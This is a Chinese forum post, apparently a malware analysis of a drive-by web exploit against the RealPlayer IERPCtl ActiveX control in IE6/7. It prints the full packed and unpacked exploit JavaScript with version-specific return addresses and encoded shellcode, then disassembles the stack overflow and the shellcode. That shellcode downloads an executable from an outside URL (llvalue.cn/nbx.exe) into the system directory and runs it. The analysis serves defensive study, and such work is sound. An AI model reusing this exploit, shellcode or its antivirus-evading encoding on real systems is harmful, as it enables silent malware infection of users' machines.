首先是网马脚本,前一段时间分析的时候,还是免杀的,不知道现在如何了。
<sCrIpT lAnGuAgE="jAvAsCrIpT">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('W p(){X j=m.V.l();3(j.d("r 6")==-1&&j.d("r 7")==-1)h;3(j.d("R 5.")==-1)h;t="T"+"Y.I"+"Z"+"18.1";19{n=17 16(t)}Q(1a){h}a=n.N("E");2="";f=c("%F%D%B%u");g(i=0;i<y*z;i++)2+="S";3(a.d("6.0.14.")==-1){3(m.s.l()=="A-G")b=c("%O%M%e");8 3(m.s.l()=="P-1b")b=c("%15%1g%1p%e");8 h}8 3(a=="6.0.14.1r")b=c("%o%11%1q%e");8 3(a=="6.0.14.1t")b=c("%o%11%u%e");8 3(a=="6.0.14.1s")b=c("%q%v%1u%e");8 3(a=="6.0.14.1v")b=c("%q%v%1m%e");8 3(a=="6.0.14.1e")b=c("%1c%11%1n%o");8 h;3(a.d("6.0.10.")!=-1){g(i=0;i<4;i++)2=2+f;2=2+b}8 3(a.d("6.0.11.")!=-1){g(i=0;i<6;i++)2=2+f;2=2+b}8 3(a.d("6.0.12.")!=-1){g(i=0;i<9;i++)2=2+f;2=2+b}8 3(a.d("6.0.14.")!=-1){g(i=0;i<10;i++)2=2+f;2=2+b}x="H\\\\1i";w="1j";k=2+x+w;1k(k.1l<1h)k+="1d";n.1f("C:\\\\1w 1o\\\\K\\\\..\\\\..\\\\J\\\\L\\\\13.U",k,"",0,0)}p();',62,95,'||Padding|if|||||else||RealVersion|ret|unescape|indexOf|60|JmpOver|for|return||user|PayLoad|toLowerCase|navigator|Real|63|Reallaoding|79|msie|userLanguage|VulObject|04|31|dingX|dingJX|32|148|zh|74||06|PRODUCTVERSION|75|cn|LLLL||WINDOWS|NetMeeting|Media|a5|PlayerProperty|7f|en|catch|nt||IER|wav|userAgent|function|var|PCtl|ERP||||recycle||4f|ActiveXObject|new|Ctl|try|error|us|51|dingXX|536|Import|71|0x8000|XXXXXLD|TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRWQgrWTnRL0l3FSQ2LQeautnasPntorN0bQhFNPeT8Quopwp|while|length|09|70|Files|a4|08|544|552|550|01|543|Program'.split('|'),0,{}))
</script>
解密以后是:
function Reallaoding(){var user=navigator.userAgent.toLowerCase();if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)return;if(user.indexOf("nt 5.")==-1)return;VulObject="IER"+"PCtl.I"+"ERP"+"Ctl.1";try{Real=new ActiveXObject(VulObject)}catch(error){alert(0);return}RealVersion=Real.PlayerProperty("PRODUCTVERSION");Padding="";JmpOver=unescape("%75%06%74%04");for(i=0;i<32*148;i++)Padding+="S";if(RealVersion.indexOf("6.0.14.")==-1){if(navigator.userLanguage.toLowerCase()=="zh-cn")ret=unescape("%7f%a5%60");else if(navigator.userLanguage.toLowerCase()=="en-us")ret=unescape("%4f%71%a4%60");else return}else if(RealVersion=="6.0.14.544")ret=unescape("%63%11%08%60");else if(RealVersion=="6.0.14.550")ret=unescape("%63%11%04%60");else if(RealVersion=="6.0.14.552")ret=unescape("%79%31%01%60");else if(RealVersion=="6.0.14.543")ret=unescape("%79%31%09%60");else if(RealVersion=="6.0.14.536")ret=unescape("%51%11%70%63");else return;if(RealVersion.indexOf("6.0.10.")!=-1){for(i=0;i<4;i++)Padding=Padding+JmpOver;Padding=Padding+ret}else if(RealVersion.indexOf("6.0.11.")!=-1){for(i=0;i<6;i++)Padding=Padding+JmpOver;Padding=Padding+ret}else if(RealVersion.indexOf("6.0.12.")!=-1){for(i=0;i<9;i++)Padding=Padding+JmpOver;Padding=Padding+ret}else if(RealVersion.indexOf("6.0.14.")!=-1){for(i=0;i<10;i++)Padding=Padding+JmpOver;Padding=Padding+ret}dingJX="LLLL\\XXXXXLD";dingX="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkR0qJPJP3YY0fNYwLEQk0p47zpfKRKJJKVe9xJKYoIoYolOoCQv3VsVwLuRKwRvavbFQvJMWVsZzMFv0z8K8mwVPnxmmn8mDUBzJMEBsHuN3ULUhmfxW6peMMZM7XPrf5NkDpP107zMpYE5MMzMj44LqxGONuKpTRrNWOVYM5mqqrwSMTnoeoty08JMnKJMgPw2pey5MgMWQuMwrunOgp8mpn8m7PrZBEleoWng2DRELgZMU6REoUJMmLHmz1KUOPCXHmLvflsRWOLNvVrFPfcVyumpRKp4dpJ9VQMJUlxmmnTL2GWOLNQKe6pfQvXeMpPuVPwP9v0XzFr3Ol9vRpzFDxm5NjqVxmLzdLSvTumI5alJMqqrauWJUWrhS3OQWRU5QrENVcE61vPUOVtvTv4uP0DvLYfQOjZMoJP6eeMIvQmF5fLYP1nrQEmvyZkSnFtSooFWTtTpp5oinTWLgOzmMTk8PUoVNENnW0J9mInyWQS3TRGFVt6iEUTgtBwrtTs3r5r5PfEqTCuBgEGoDUtR4CfkvB4OEDc3UUGbVib4Wo5we6VQVouXdcENeStEpfTc7nVoUBdrfnvts3c77r3VwZwyGw7rdj4OS4DTww6tuOUw2F4StTUZvkFiwxQvtsud7Z6BviR1gxUZ4IVgTBfRWygPfouZtCwWqvRHptd4RPFZVOdoRWQgrWTnRL0l3FSQ2LQeautnasPntorN0bQhFNPeT8Quopwp";PayLoad=Padding+dingJX+dingX;while(PayLoad.length<0x8000)PayLoad+="dingXX";Real.Import("C:\\Program Files\\NetMeeting\\..\\..\\WINDOWS\\Media\\recycle.wav",PayLoad,"",0,0)}Reallaoding();
PayLoad变量,就是精新构造的shellcode,Real.Import会调用ierpplug.dll,而该activeX,会查询系统中是否已经启动了realplay,如果没启动,就会以-hide和-什么来着(忘记了)参数隐藏启动realplay,并发WM_COPYDATA消息给realplay,把import函数中调用的参数全部传给realplay.
在realplay处理这些参数里,在MPAMedia.dll里会存在一处溢出。
617BFE41 8BEC MOV EBP,ESP
617BFE43 8B45 14 MOV EAX,DWORD PTR SS:[EBP+14]
617BFE46 56 PUSH ESI
617BFE47 8B75 10 MOV ESI,DWORD PTR SS:[EBP+10]
617BFE4A 8BC8 MOV ECX,EAX
617BFE4C 8BD1 MOV EDX,ECX
617BFE4E 57 PUSH EDI
617BFE4F 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C]
617BFE52 C1E9 02 SHR ECX,2
617BFE55 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI];没有检查DS:[ESI]大小,把堆栈占满溢出了
617BFE57 8BCA MOV ECX,EDX
617BFE59 83E1 03 AND ECX,3
617BFE5C F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
617BFE5E 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]
617BFE61 5F POP EDI
617BFE62 5E POP ESI
617BFE63 8901 MOV DWORD PTR DS:[ECX],EAX
617BFE65 5D POP EBP
617BFE66 C3 RETN
溢出以后,系统会跳转而执行shellcode.
0012EF8D 53 PUSH EBX
0012EF8E 53 PUSH EBX
0012EF8F 53 PUSH EBX
0012EF90 53 PUSH EBX
0012EF91 53 PUSH EBX
0012EF92 53 PUSH EBX
0012EF93 53 PUSH EBX
0012EF94 53 PUSH EBX
0012EF95 53 PUSH EBX
0012EF96 53 PUSH EBX
0012EF97 53 PUSH EBX
0012EF98 53 PUSH EBX
0012EF99 53 PUSH EBX
0012EF9A 53 PUSH EBX
0012EF9B 53 PUSH EBX
0012EF9C 75 06 JNZ SHORT 0012EFA4
0012EF9E 74 04 JE SHORT 0012EFA4
0012EFA0 75 06 JNZ SHORT 0012EFA8
0012EFA2 74 04 JE SHORT 0012EFA8
0012EFA4 75 06 JNZ SHORT 0012EFAC
0012EFA6 74 04 JE SHORT 0012EFAC
0012EFA8 75 06 JNZ SHORT 0012EFB0
0012EFAA 74 04 JE SHORT 0012EFB0
0012EFAC 75 06 JNZ SHORT 0012EFB4
0012EFAE 74 04 JE SHORT 0012EFB4
0012EFB0 75 06 JNZ SHORT 0012EFB8
0012EFB2 74 04 JE SHORT 0012EFB8
0012EFB4 ^ 7F A3 JG SHORT 0012EF59
0012EFB6 A4 MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0012EFB7 60 PUSHAD
0012EFB8 4C DEC ESP
0012EFB9 4C DEC ESP
0012EFBA 4C DEC ESP
0012EFBB 4C DEC ESP
0012EFBC 0E PUSH CS
0012EFBD F0:1200 LOCK ADC AL,BYTE PTR DS:[EAX] ; LOCK prefix
0012EFC0 41 INC ECX
0012EFC1 0000 ADD BYTE PTR DS:[EAX],AL
0012EFC3 005459 49 ADD BYTE PTR DS:[ECX+EBX*2+49],DL
0012EFC7 49 DEC ECX
0012EFC8 49 DEC ECX
0012EFC9 49 DEC ECX
0012EFCA 49 DEC ECX
0012EFCB 49 DEC ECX
0012EFCC 49 DEC ECX
0012EFCD 49 DEC ECX
0012EFCE 49 DEC ECX
0012EFCF 49 DEC ECX
0012EFD0 49 DEC ECX
0012EFD1 49 DEC ECX
0012EFD2 49 DEC ECX
0012EFD3 49 DEC ECX
0012EFD4 49 DEC ECX
0012EFD5 49 DEC ECX
0012EFD6 37 AAA
0012EFD7 51 PUSH ECX
0012EFD8 5A POP EDX
0012EFD9 6A 41 PUSH 41
0012EFDB 58 POP EAX
0012EFDC 50 PUSH EAX
0012EFDD 3041 30 XOR BYTE PTR DS:[ECX+30],AL; 看到0012EFE1处的10了吧,原来是50,在这里和41异或成了10,这个是对加密代码进行二次加密
0012EFE0 41 INC ECX
0012EFE1 6B41 41 10 IMUL EAX,DWORD PTR DS:[ECX+41],10;从12eff6开始解密,解密方法是Alpha-Numeric,即将相邻的2个数,一个乘10即再跟另一个数异或,比如ABCD,结果是B0和CD异或的值。
0012EFE5 3241 42 XOR AL,BYTE PTR DS:[ECX+42]
0012EFE8 3242 42 XOR AL,BYTE PTR DS:[EDX+42]
0012EFEB 3042 42 XOR BYTE PTR DS:[EDX+42],AL
0012EFEE 41 INC ECX
0012EFEF 42 INC EDX
0012EFF0 58 POP EAX
0012EFF1 50 PUSH EAX
0012EFF2 3841 42 CMP BYTE PTR DS:[ECX+42],AL
0012EFF5 ^ 75 E9 JNZ SHORT 0012EFE0;解密后的值
0012EFF7 EB 10 JMP SHORT 0012F009
0012EFF9 5A POP EDX
0012EFFA 4A DEC EDX
0012EFFB 33C9 XOR ECX,ECX
0012EFFD 66:B9 3C01 MOV CX,13C
0012F001 80340A 66 XOR BYTE PTR DS:[EDX+ECX],66;对0012F00E后13C个字符进行解密,方法要为异或66
0012F005 ^ E2 FA LOOPD SHORT 0012F001
0012F007 EB 05 JMP SHORT 0012F00E
0012F009 E8 EBFFFFFF CALL 0012EFF9
0012F00E E9 D5000000 JMP 0012F0E8
0012F013 5A POP EDX
0012F014 64:A1 30000000 MOV EAX,DWORD PTR FS:[30];PE结构的入口
0012F01A 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]
0012F01D 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C]
0012F020 AD LODS DWORD PTR DS:[ESI]
0012F021 8B40 08 MOV EAX,DWORD PTR DS:[EAX+8]
0012F024 8BD8 MOV EBX,EAX
0012F026 8B73 3C MOV ESI,DWORD PTR DS:[EBX+3C]
0012F029 8B741E 78 MOV ESI,DWORD PTR DS:[ESI+EBX+78]
0012F02D 03F3 ADD ESI,EBX
0012F02F 8B7E 20 MOV EDI,DWORD PTR DS:[ESI+20]
0012F032 03FB ADD EDI,EBX
0012F034 8B4E 14 MOV ECX,DWORD PTR DS:[ESI+14]
0012F037 33ED XOR EBP,EBP
0012F039 56 PUSH ESI
0012F03A 57 PUSH EDI
0012F03B 51 PUSH ECX
0012F03C 8B3F MOV EDI,DWORD PTR DS:[EDI]
0012F03E 03FB ADD EDI,EBX
0012F040 8BF2 MOV ESI,EDX;GetProcAddress
0012F042 6A 0E PUSH 0E
0012F044 59 POP ECX
0012F045 F3:A6 REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI];比较API是不是要用的
0012F047 74 08 JE SHORT 0012F051
0012F049 59 POP ECX
0012F04A 5F POP EDI
0012F04B 83C7 04 ADD EDI,4
0012F04E 45 INC EBP
0012F04F ^ E2 E9 LOOPD SHORT 0012F03A
0012F051 59 POP ECX
0012F052 5F POP EDI
0012F053 5E POP ESI
0012F054 8BCD MOV ECX,EBP
0012F056 8B46 24 MOV EAX,DWORD PTR DS:[ESI+24]
0012F059 03C3 ADD EAX,EBX
0012F05B D1E1 SHL ECX,1
0012F05D 03C1 ADD EAX,ECX
0012F05F 33C9 XOR ECX,ECX
0012F061 66:8B08 MOV CX,WORD PTR DS:[EAX]
0012F064 8B46 1C MOV EAX,DWORD PTR DS:[ESI+1C]
0012F067 03C3 ADD EAX,EBX
0012F069 C1E1 02 SHL ECX,2
0012F06C 03C1 ADD EAX,ECX
0012F06E 8B00 MOV EAX,DWORD PTR DS:[EAX]
0012F070 03C3 ADD EAX,EBX
0012F072 8BFA MOV EDI,EDX
0012F074 8BF7 MOV ESI,EDI
0012F076 83C6 0E ADD ESI,0E
0012F079 8BD0 MOV EDX,EAX;真正kernel32.GetProcAddress地址
0012F07B 6A 04 PUSH 4
0012F07D 59 POP ECX
0012F07E E8 50000000 CALL 0012F0D3;取得4个API,GetSystemDirectoryA,WinExec,ExitThread,LoadLibraryA的地址
0012F083 83C6 0D ADD ESI,0D
0012F086 52 PUSH EDX
0012F087 56 PUSH ESI
0012F088 FF57 FC CALL DWORD PTR DS:[EDI-4];LoadLibrary("urlmon")
0012F08B 5A POP EDX
0012F08C 8BD8 MOV EBX,EAX
0012F08E 6A 01 PUSH 1
0012F090 59 POP ECX
0012F091 E8 3D000000 CALL 0012F0D3;到得从urlmon.dll中函数URLDownloadToFileA地址
0012F096 83C6 13 ADD ESI,13
0012F099 56 PUSH ESI
0012F09A 46 INC ESI
0012F09B 803E 80 CMP BYTE PTR DS:[ESI],80
0012F09E ^ 75 FA JNZ SHORT 0012F09A
0012F0A0 8036 80 XOR BYTE PTR DS:[ESI],80;把网马网址尾部的80改成00,结果是http://www.llvalue.cn/nbx.exe
0012F0A3 5E POP ESI
0012F0A4 83EC 20 SUB ESP,20
0012F0A7 8BDC MOV EBX,ESP
0012F0A9 6A 20 PUSH 20
0012F0AB 53 PUSH EBX
0012F0AC FF57 EC CALL DWORD PTR DS:[EDI-14];GetSystemDirectoryA
0012F0AF C70403 5C612E65 MOV DWORD PTR DS:[EBX+EAX],652E615C
0012F0B6 C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578;本地的路径c:\windws\system32\a.exe
0012F0BE 33C0 XOR EAX,EAX
0012F0C0 50 PUSH EAX
0012F0C1 50 PUSH EAX
0012F0C2 53 PUSH EBX
0012F0C3 56 PUSH ESI
0012F0C4 50 PUSH EAX
0012F0C5 FF57 FC CALL DWORD PTR DS:[EDI-4];执行URLDownloadToFileA
0012F0C8 8BDC MOV EBX,ESP
0012F0CA 50 PUSH EAX
0012F0CB 53 PUSH EBX
0012F0CC FF57 F0 CALL DWORD PTR DS:[EDI-10];执行WinExec运行网马
0012F0CF 50 PUSH EAX
0012F0D0 FF57 F4 CALL DWORD PTR DS:[EDI-C];ExitThread
0012F0D3 33C0 XOR EAX,EAX
0012F0D5 AC LODS BYTE PTR DS:[ESI]
0012F0D6 85C0 TEST EAX,EAX
0012F0D8 ^ 75 F9 JNZ SHORT 0012F0D3
0012F0DA 51 PUSH ECX
0012F0DB 52 PUSH EDX
0012F0DC 56 PUSH ESI
0012F0DD 53 PUSH EBX
0012F0DE FFD2 CALL EDX
0012F0E0 5A POP EDX
0012F0E1 59 POP ECX
0012F0E2 AB STOS DWORD PTR ES:[EDI]
0012F0E3 ^ E2 EE LOOPD SHORT 0012F0D3
0012F0E5 33C0 XOR EAX,EAX
0012F0E7 C3 RETN
0012F0E8 E8 26FFFFFF CALL 0012F013
0012F0ED 47 INC EDI
0012F0EE 65:74 50 JE SHORT 0012F141 ; Superfluous prefix
0012F0F1 72 6F JB SHORT 0012F162
0012F0F3 6341 64 ARPL DWORD PTR DS:[ECX+64],EAX
0012F0F6 64:72 65 JB SHORT 0012F15E ; Superfluous prefix
0012F0F9 73 73 JNB SHORT 0012F16E
0012F0FB 0047 65 ADD BYTE PTR DS:[EDI+65],AL
0012F0FE 74 53 JE SHORT 0012F153
0012F100 79 73 JNS SHORT 0012F175
0012F102 74 65 JE SHORT 0012F169
0012F104 6D INS DWORD PTR ES:[EDI],DX ; I/O command
0012F105 44 INC ESP
0012F106 6972 65 63746F7>IMUL ESI,DWORD PTR DS:[EDX+65],726F7463
0012F10D 79 41 JNS SHORT 0012F150
0012F10F 0057 69 ADD BYTE PTR DS:[EDI+69],DL
0012F112 6E OUTS DX,BYTE PTR ES:[EDI] ; I/O command
0012F113 45 INC EBP
0012F114 78 65 JS SHORT 0012F17B
0012F116 6300 ARPL DWORD PTR DS:[EAX],EAX
0012F118 45 INC EBP
0012F119 78 69 JS SHORT 0012F184
0012F11B 74 54 JE SHORT 0012F171
0012F11D 68 72656164 PUSH 64616572
0012F122 004C6F 61 ADD BYTE PTR DS:[EDI+EBP*2+61],CL
0012F126 64:4C DEC ESP ; Superfluous prefix
0012F128 6962 72 6172794>IMUL ESP,DWORD PTR DS:[EDX+72],41797261
0012F12F 0075 72 ADD BYTE PTR SS:[EBP+72],DH
0012F132 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F133 6D INS DWORD PTR ES:[EDI],DX ; I/O command
0012F134 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command
0012F135 6E OUTS DX,BYTE PTR ES:[EDI] ; I/O command
0012F136 0055 52 ADD BYTE PTR SS:[EBP+52],DL
0012F139 4C DEC ESP
0012F13A 44 INC ESP
0012F13B 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command
0012F13C 77 6E JA SHORT 0012F1AC
0012F13E 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F13F 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command
0012F140 61 POPAD
0012F141 64:54 PUSH ESP ; Superfluous prefix
0012F143 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command
0012F144 46 INC ESI
0012F145 696C65 41 00687>IMUL EBP,DWORD PTR SS:[EBP+41],74746800
0012F14D 70 3A JO SHORT 0012F189
0012F14F 2F DAS
0012F150 2F DAS
0012F151 77 77 JA SHORT 0012F1CA
0012F153 77 2E JA SHORT 0012F183
0012F155 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F156 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F157 76 61 JBE SHORT 0012F1BA
0012F159 6C INS BYTE PTR ES:[EDI],DX ; I/O command
0012F15A 75 65 JNZ SHORT 0012F1C1
0012F15C 2E:636E 2F ARPL DWORD PTR CS:[ESI+2F],EBP
0012F160 6E OUTS DX,BYTE PTR ES:[EDI] ; I/O command
0012F161 6278 2E BOUND EDI,QWORD PTR DS:[EAX+2E]
0012F164 65:78 65 JS SHORT 0012F1CC ; Superfluous prefix
0012F167 8000 29 ADD BYTE PTR DS:[EAX],29
从shellcode可以看出,首先对加密代码进行二次加密,然后用Alpha-Numeric进行加密,最后是用异或进行加密,一共三层加密,让代码完全逃脱各类杀软件的追杀。这里让我想到了一句话,流氓不可怕,就怕流氓有文化。:ohh:
[课程]FART 脱壳王!加量不加价!FART作者讲授!